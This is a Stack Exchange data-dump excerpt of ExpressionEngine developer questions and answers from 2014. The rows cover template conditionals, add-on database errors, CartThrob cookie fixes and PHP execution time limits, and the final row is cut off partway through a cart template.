  <row Id="24911" PostTypeId="1" CreationDate="2014-08-05T17:09:09.410" Score="0" ViewCount="146" Body="&lt;p&gt;I'd like to return all entries that are in the future - but based only on the day of the week and time. I've got it working with just %H:%i (Hours/Minutes), but can't get it to respect the day of the week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you choose a custom date format of a channel field to check against?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks in advance!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;CHANNEL&quot; search:starttime=&quot;&amp;gt;{current_time format='%w %H:%i'}&quot;}&#xA;     {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="938" LastActivityDate="2016-06-03T15:37:57.733" Title="Search Date Field with a Custom Format" Tags="|ee2|channel-entries|date-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24912" PostTypeId="1" AcceptedAnswerId="24947" CreationDate="2014-08-05T18:24:20.310" Score="0" ViewCount="132" Body="&lt;p&gt;I am attempting to display a message when the last segment equals &quot;success&quot;... I've done this many times before and for some reason I am having some trouble. I need an extra eye perhaps? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code. The url upon submission redirects and looks like this: &lt;a href=&quot;http://site.dev/events/event_submission/success/&quot; rel=&quot;nofollow&quot;&gt;http://site.dev/events/event_submission/success/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the third segment isn't being read by EE because {last_segment} equals &quot;event_submission&quot; and {segment_3} parses blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;global:member_group&quot; parse_tags=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;1&quot;}&#xA;        {if last_segment == 'success'}&#xA;            Your event has been submitted. You will receive notification when your event has been approved or rejected. You can &amp;lt;a href=&quot;{path=logout}&quot;&amp;gt;logout&amp;lt;/a&amp;gt; now or &amp;lt;a href=&quot;{site_url}events/event_submission&quot;&amp;gt;click here&amp;lt;/a&amp;gt; to create another event.&#xA;        {if:else}&#xA;        {exp:channel:form channel=&quot;events_submitted&quot; id=&quot;publishForm&quot; return=&quot;events/event_submission/success&quot; json=&quot;yes&quot; include_jquery=&quot;no&quot;}&#xA;            &quot;Just to test: {last_segment} {segment_3}&quot;&#xA;            &amp;lt;p&amp;gt;Welcome back, &amp;lt;strong&amp;gt;{screen_name}&amp;lt;/strong&amp;gt;!&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am sure I am just having a coding block but I cannot get it going... any tips? &lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2014-08-06T17:22:54.383" Title="Third segment / last_segment &quot;success&quot; not working?" Tags="|segments|switchee|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24913" PostTypeId="2" ParentId="24910" CreationDate="2014-08-05T18:34:44.253" Score="0" Body="&lt;p&gt;Here's the &lt;code&gt;create table&lt;/code&gt; statement that would get you to what I have installed on my version of Playa 4.5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `exp_playa_relationships` (&#xA;  `rel_id` int(10) unsigned NOT NULL auto_increment,&#xA;  `parent_entry_id` int(10) unsigned default NULL,&#xA;  `parent_field_id` int(6) unsigned default NULL,&#xA;  `parent_col_id` int(6) unsigned default NULL,&#xA;  `parent_row_id` int(10) unsigned default NULL,&#xA;  `parent_var_id` int(6) unsigned default NULL,&#xA;  `parent_is_draft` int(1) unsigned NOT NULL default '0',&#xA;  `child_entry_id` int(10) unsigned default NULL,&#xA;  `rel_order` int(4) unsigned default NULL,&#xA;  PRIMARY KEY  (`rel_id`),&#xA;  KEY `parent_entry_id` (`parent_entry_id`),&#xA;  KEY `parent_field_id` (`parent_field_id`),&#xA;  KEY `parent_col_id` (`parent_col_id`),&#xA;  KEY `parent_row_id` (`parent_row_id`),&#xA;  KEY `parent_var_id` (`parent_var_id`),&#xA;  KEY `child_entry_id` (`child_entry_id`)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From your error it appears you are missing the column &lt;code&gt;exp_playa_relationships&lt;/code&gt;, possibly others.  Compare to your current structure and fill in as necessary.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-08-05T18:34:44.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24914" PostTypeId="1" AcceptedAnswerId="26220" CreationDate="2014-08-05T19:09:15.263" Score="3" ViewCount="303" Body="&lt;p&gt;Versions: EE 2.9.0 &amp;amp; Freeform 4.2.0 Pro&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some help would be appreciated. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to implement inline error handling in a Freeform Composer Template and it is throwing the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}. Parser State: Unexpected ‘:’ (MISC); expected RD in on line 17.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line of code that throws the error is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:error:{composer:field_name}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is copied from &lt;a href=&quot;http://www.solspace.com/docs/freeform/composer/#freeform_error_field_name&quot; rel=&quot;nofollow&quot;&gt;your documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hard code in the field name like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:error:first_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, I think. But I get an error for every field, even those not required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my complete Composer Template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:page}&#xA;{composer:rows}&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {composer:columns}&#xA;                &amp;lt;div class=&quot;columns {if composer:column_total == 2}six{if:elseif composer:column_total == 3}four{if:elseif composer:column_total == 4}three{if:else}twelve{/if}&quot;&amp;gt;&#xA;                    {if composer:field_total == 0}&#xA;&#xA;                    {/if}&#xA;                {composer:fields}&#xA;                    {if composer:field_label}&#xA;                        {if composer:field_type == 'nonfield_captcha'}&#xA;                            {if freeform:captcha}&#xA;                            &amp;lt;p&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;{composer:field_label}&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        {if:else}&#xA;                            &amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;                                {composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                            &amp;lt;/label&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                    {if composer:field_output}&#xA;                        {if freeform:error:{composer:field_name}}&#xA;                            &amp;lt;strong&amp;gt;&#xA;                                Error: {freeform:error:{composer:field_name}}&#xA;                            &amp;lt;/strong&amp;gt;&#xA;                        {/if}&#xA;                        {if composer:field_type == 'nonfield_title'}&#xA;                            &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                        {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;                            {if freeform:captcha}&#xA;                                    {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot;&#xA;                                           size=&quot;20&quot;   maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;                            {/if}&#xA;                        {if:else}&#xA;                            {composer:field_output}&#xA;                        {/if}&#xA;                    {/if}&#xA;                {/composer:fields}&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- end columns --&amp;gt;&#xA;            {/composer:columns}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end row --&amp;gt;&#xA;{/composer:rows}&#xA;{/composer:page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorUserId="646" LastEditDate="2014-08-05T19:16:01.523" LastActivityDate="2014-11-05T00:32:09.723" Title="Inline error handling in composer templating has invalid conditional" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24915" PostTypeId="1" CreationDate="2014-08-05T19:12:49.487" Score="1" ViewCount="602" Body="&lt;p&gt;My hosting company needs to upgrade my server to the latest versions of PHP and mySQL. The problem is I'm running a number of EE sites varying between versions 1.6.8 and 1.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the highest version of PHP and mySQL that I can successfully run EE1.7.3 on? This is just a stopgap solution until I can get my clients to upgrade to EE2.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the EllisLab site I can only find the minimum requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2014-08-05T19:12:49.487" Title="Highest version of mySQL and PHP for EE 1.7.3" Tags="|php|ee1|mysql|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24917" PostTypeId="1" CreationDate="2014-08-05T20:41:52.757" Score="0" ViewCount="51" Body="&lt;p&gt;I am getting the following Database error, which prevents me from even accessing the low variables module screen...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Variables - 2.5.0&#xA;Matrix - 2.6&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'var_id' in 'where clause'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT row_id, col_id_74, col_id_75 FROM exp_matrix_data WHERE var_id&#xA;  = 1 ORDER BY row_order ASC&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename:&#xA;  /path/to/sitedomain.com/_third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 3041&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have searched all the posts on it and nothing has yet solved my problem. Any help is very much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2970" LastActivityDate="2014-08-05T20:41:52.757" Title="Matrix / Low Variables Database Error" Tags="|matrix|low-variables|database-error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24919" PostTypeId="2" ParentId="24899" CreationDate="2014-08-05T21:57:21.997" Score="1" Body="&lt;p&gt;We have added a new conditional to Channel Polls that will be in the next release. If needed now simply email us, though I imagine you are the person we already built this for today!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This conditional is now included in the software.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if poll:multiple_votes}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So do checkboxes instead you would do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if poll:multiple_votes}&#xA;   &amp;lt;ul&amp;gt;&#xA;        {poll:answers}&#xA;            &amp;lt;li&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;{poll:form_name}&quot; value=&quot;{poll:form_value}&quot;&amp;gt;   {poll:answer}&amp;lt;/li&amp;gt;&#xA;        {/poll:answers}&#xA;  &amp;lt;/ul&amp;gt;&#xA;{if:else}&#xA;   &amp;lt;ul&amp;gt;&#xA;        {poll:answers}&#xA;            &amp;lt;li&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{poll:form_name}&quot; value=&quot;{poll:form_value}&quot;&amp;gt;   {poll:answer}&amp;lt;/li&amp;gt;&#xA;        {/poll:answers}&#xA;  &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditDate="2015-08-04T13:54:58.723" LastActivityDate="2015-08-04T13:54:58.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24920" PostTypeId="2" ParentId="24727" CreationDate="2014-08-05T22:09:02.483" Score="0" Body="&lt;p&gt;I also need to find a solution to this and found that it was a session issue. This was my fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: cartthrob/libraries/Cartthrob_session.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace $this-&gt;EE-&gt;input-&gt;set_cookie('cartthrob_session_id', '', -3600); on line 168 with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( version_compare(APP_VER, '2.8', '&amp;gt;='))&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;input-&amp;gt;set_cookie('cartthrob_session_id', '', -3600);&#xA;}&#xA;else &#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;set_cookie('cartthrob_session_id', '', -3600);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And replace $this-&gt;EE-&gt;input-&gt;set_cookie('cartthrob_session_id', $this-&gt;session_id, $this-&gt;expires); on line 195 with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( version_compare(APP_VER, '2.8', '&amp;gt;='))&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;input-&amp;gt;set_cookie('cartthrob_session_id', $this-&amp;gt;session_id, $this-&amp;gt;expires);&#xA;}&#xA;else &#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;set_cookie('cartthrob_session_id', $this-&amp;gt;session_id, $this-&amp;gt;expires);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Besides this I haven't yet seen any other major issues with CT2.6 installed on my EE2.7.3, so this fix may also apply to 2.7.0.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-08-05T22:09:02.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24921" PostTypeId="1" AcceptedAnswerId="24926" CreationDate="2014-08-05T22:31:56.530" Score="3" ViewCount="624" Body="&lt;p&gt;We're running a long, involved template/script (to store the results in a manual cache, of course) and we get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Maximum execution time of 90 seconds exceeded in system/expressionengine/libraries/Template.php on line 1112&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The thing is, I have &lt;strong&gt;ini_set(&quot;max_execution_time&quot;, &quot;3000&quot;);&lt;/strong&gt; in the script we're running, and nowhere else in EE can I find max_execution_time set to anything else, so... why/where is it being set to 90 seconds?&lt;/p&gt;&#xA;" OwnerUserId="2514" LastActivityDate="2014-08-07T13:49:53.353" Title="EE 90 second PHP timeout... where does it live?" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24922" PostTypeId="1" CreationDate="2014-08-05T22:45:11.237" Score="0" ViewCount="33" Body="&lt;p&gt;Following the directions listed here:&#xA;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/troubleshooting&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/troubleshooting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a dummy template with a missing image, so I could see the debug information, but I never got the &quot;&lt;em&gt;*&lt;/em&gt;  CE Image debug:&quot;. Ive copied my debug text below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/anonymous/cc2c9d014550f52d1e20&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/cc2c9d014550f52d1e20&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently CE Img isnt displaying any images at all, but until I see the debug message, I cant get much further!&lt;/p&gt;&#xA;" OwnerUserId="3450" LastActivityDate="2014-08-07T07:22:01.640" Title="CE Img template debugging doesnt display in depth info" Tags="|ce-image|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24924" PostTypeId="2" ParentId="24871" CreationDate="2014-08-05T23:12:00.150" Score="0" Body="&lt;p&gt;Try replacing search_in=&quot;everywhere&quot; with search_in=&quot;entries&quot; in the exp:search:simple_form tag. I remember having problems with this with EE 2.8.1. Also try removing  where=&quot;all&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-08-05T23:12:00.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24925" PostTypeId="1" AcceptedAnswerId="24934" CreationDate="2014-08-05T23:22:49.633" Score="0" ViewCount="112" Body="&lt;p&gt;I've had this happen on a couple of different projects today. Weird coincidence? Something I'm doing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error shows up upon trying to save a new variable. The variable does actually get created, but only the Variable Name is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this error before?&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2014-08-06T09:19:28.863" Title="Low Variables Error : &quot;Field 'edit_date' doesn't have a default value&quot;" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24926" PostTypeId="2" ParentId="24921" CreationDate="2014-08-05T23:32:48.170" Score="4" Body="&lt;p&gt;&lt;code&gt;system/expressionengine/libraries/Core.php&lt;/code&gt; around line 64 (as of v2.9.0):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set a liberal script execution time limit, making it shorter for front-end requests than CI's default&#xA;if (function_exists(&quot;set_time_limit&quot;) == TRUE AND @ini_get(&quot;safe_mode&quot;) == 0)&#xA;{&#xA;    @set_time_limit((REQ == 'CP') ? 300 : 90);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have a page that is taking more than 90 seconds to render, I would post a separate question about optimizing that template. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &lt;code&gt;set_time_limit()&lt;/code&gt; resets the counter from zero every time that it's called, so assuming you don't collide with Apache's timeout, you can add that to your script that is getting info about the files on the external server. Perhaps try to limit it to as small as possible; if the files are examined in a loop, place a reasonable timeout extension within the loop prior to each external call, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;set_time_limit(10);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or whatever is actually needed for the communication to not be impeded between the two servers.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-08-07T13:49:53.353" LastActivityDate="2014-08-07T13:49:53.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24927" PostTypeId="1" AcceptedAnswerId="24962" CreationDate="2014-08-05T23:43:56.123" Score="0" ViewCount="145" Body="&lt;p&gt;Is it possible to create relationships in freeform pro similar to how you can create relationships between channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels, a freeform for each, and a need to relate the information from each using a third form. I know I can do a lot of this using channel forms but I really like some of the functionality that freeform gives me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a third option is to tie in the freeform into the channel as written in the freeform docs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any suggestions I would certainly welcome your input. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2660" LastActivityDate="2014-08-07T07:36:44.073" Title="Solspace freeform pro and relationships" Tags="|solspace-freeform|relationships|related-entries|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24928" PostTypeId="1" CreationDate="2014-08-06T05:35:54.543" Score="0" ViewCount="152" Body="&lt;p&gt;Possible to submit only one submission per email address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make the form gives an error if someone already has submitted and try submit again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3451" LastActivityDate="2016-06-11T04:08:02.667" Title="Solspace Freeform 4+ submission per email address" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24929" PostTypeId="1" CreationDate="2014-08-06T05:42:34.647" Score="0" ViewCount="85" Body="&lt;p&gt;I am trying to send an unique code when user submit their form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each unique code should send only once in order with each submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3451" LastEditorUserId="3451" LastEditDate="2014-08-07T03:53:14.207" LastActivityDate="2016-06-09T09:30:10.240" Title="Solspace freeform: sending pre-generated token to user" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24931" PostTypeId="1" AcceptedAnswerId="24933" CreationDate="2014-08-06T08:32:37.760" Score="0" ViewCount="59" Body="&lt;p&gt;Is there any way - in Expression Engine - that there is a global variable or even a constant to reference the domain of the current site you are working on instead of hard coding the domain name in your links?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-08-06T08:50:50.817" Title="Global Variable For Site Domain" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24932" PostTypeId="1" AcceptedAnswerId="24971" CreationDate="2014-08-06T08:39:21.247" Score="0" ViewCount="66" Body="&lt;p&gt;I am using expresso store:search tag in a page and I am submitting a price range (min/max) to the tag as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search:price:min=&quot;{post:min_price}&quot; search:price:max=&quot;{post:max_price}&quot; category=&quot;{segment_category_ids}&quot; paginate='bottom' dynamic_parameters=&quot;orderby|limit|sort&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a lot going on in this I know, but it does work - to a point. When I do a search for a combination that doesn't exist (say there is nothing in that price range) I get a blank page because there are no entries associated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, does store:search have a no_results tag pair? And if so, how is it implemented? I looked through the documentation and in here, but have found nothing to direct me and it seems like it should be part of a search tag by default. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-08-07T16:23:25.587" Title="Expresso Store no_results" Tags="|expresso-store|search|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24933" PostTypeId="2" ParentId="24931" CreationDate="2014-08-06T08:50:50.817" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#site-url&quot; rel=&quot;nofollow&quot;&gt;global variable {site_url}&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you code your links as &quot;/path/to/a/page&quot; (with the initial slash) then that will work just the same.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-08-06T08:50:50.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24934" PostTypeId="2" ParentId="24925" CreationDate="2014-08-06T09:19:28.863" Score="1" Body="&lt;p&gt;That's probably because of MySQL running in Strict mode and only if LV was installed before version 2.3.3. You can work around it by setting a default value of 0 on the edit_date column in the exp_low_variables table.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-06T09:19:28.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24935" PostTypeId="2" ParentId="24872" CreationDate="2014-08-06T09:29:57.607" Score="1" Body="&lt;p&gt;Instead of using Low Nice Date, why not try &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/fieldtype#one-day&quot; rel=&quot;nofollow&quot;&gt;the :one_day modifier&lt;/a&gt; that is available in Low Events itself? That should let you achieve what you want without an extra add-on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_date:one_day == 'y'}&#xA;    {event_date:start_date format=&quot;%j %F %Y - %H:%i&quot;}&#xA;{if:else}&#xA;    {event_date:start_date format=&quot;%j %F&quot;} - {event_date:end_date format=&quot;%j %F %Y&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-06T09:29:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24937" PostTypeId="1" CreationDate="2014-08-06T10:05:39.543" Score="1" ViewCount="130" Body="&lt;p&gt;I'm using ExpressionEngine2.9 and CartThrob2.6. I Upgraded versions from EE2.6.1 and CT Pro2.3.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The store was working previous to updating EE/addon, I updated a dev version of the site. After updating the add to cart tag isn't working correctly, it has a price modifier with a conditional to check the inventory amount. Based on inventory level being 1 or more the add to cart button shows, if less than 1 a message &quot;product out of stock&quot; shows instead of the add to cart button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code was working before the update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form secure_action=&quot;yes&quot; entry_id=&quot;{entry_id}&quot; return=&quot;shop/view_cart&quot; no_tax=&quot;{no_tax}&quot; no_shipping = &quot;{no_shipping}&quot;}&#xA;&#xA;&amp;lt;!-- addtocart-form --&amp;gt;&#xA;&amp;lt;div class=&quot;addtocart-form&quot;&amp;gt;&#xA;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;    {if options_exist}&#xA;        &amp;lt;!-- control-group --&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;                                                                                                                     &#xA;            &amp;lt;!-- controls --&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                {select class=&quot;input-medium&quot;}&#xA;                    &amp;lt;option {selected} value=&quot;{option_value}&quot; {if {inventory} &amp;lt; 1} disabled=&quot;disabled&quot; {/if}&amp;gt;&#xA;                        {option_name}&#xA;                            {if {inventory} &amp;lt; 1} &#xA;                                - Out of Stock! &#xA;                            {if:else} &#xA;                                {if option_price_numeric != 0} +{option_price}{/if}&#xA;                            {/if}&#xA;                    &amp;lt;/option&amp;gt;                   &#xA;                {/select}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /.controls --&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;&#xA;                {option_label}:&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.control-group --&amp;gt;&#xA;    {/if}                                                                                                               &#xA;&#xA;&#xA;    &amp;lt;!-- control-group --&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        {if {inventory} ==0}&#xA;            &amp;lt;h2&amp;gt;So Sorry!&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;The specific size and style of the item you selected is currently out of stock. &#xA;                    Please check back soon for availability.&amp;lt;/p&amp;gt;&#xA;        {if:else}                                                                   &#xA;            &amp;lt;!-- controls --&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; id=&quot;product_quantity&quot; class=&quot;input-medium&quot;  placeholder='1' name=&quot;quantity&quot; size=&quot;8&quot;  /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /.controls --&amp;gt;&#xA;            &amp;lt;label for=&quot;product_quantity&quot; class=&quot;control-label&quot;&amp;gt;&#xA;                Quantity:&#xA;            &amp;lt;/label&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.control-group --&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;!-- add-to-cart-btn --&amp;gt;&#xA;    &amp;lt;div class=&quot;add-to-cart-btn&quot;&amp;gt;&#xA;        &amp;lt;!-- control-group --&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;!-- form-actions --&amp;gt;&#xA;            &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;                {if {option_value:select:inventory} ==0}&#xA;                    &amp;lt;h2&amp;gt;So Sorry! Out of Stock! :(&amp;lt;/h2&amp;gt;&#xA;                {if:else}&#xA;                    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;{site_url}button.png&quot; /&amp;gt;&#xA;                    &amp;lt;/button&amp;gt;&#xA;                {/if}&#xA;{/exp:cartthrob:item_options}               &#xA;            &amp;lt;/div&amp;lt;!-- /.form-actions --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.control-group --&amp;gt;                           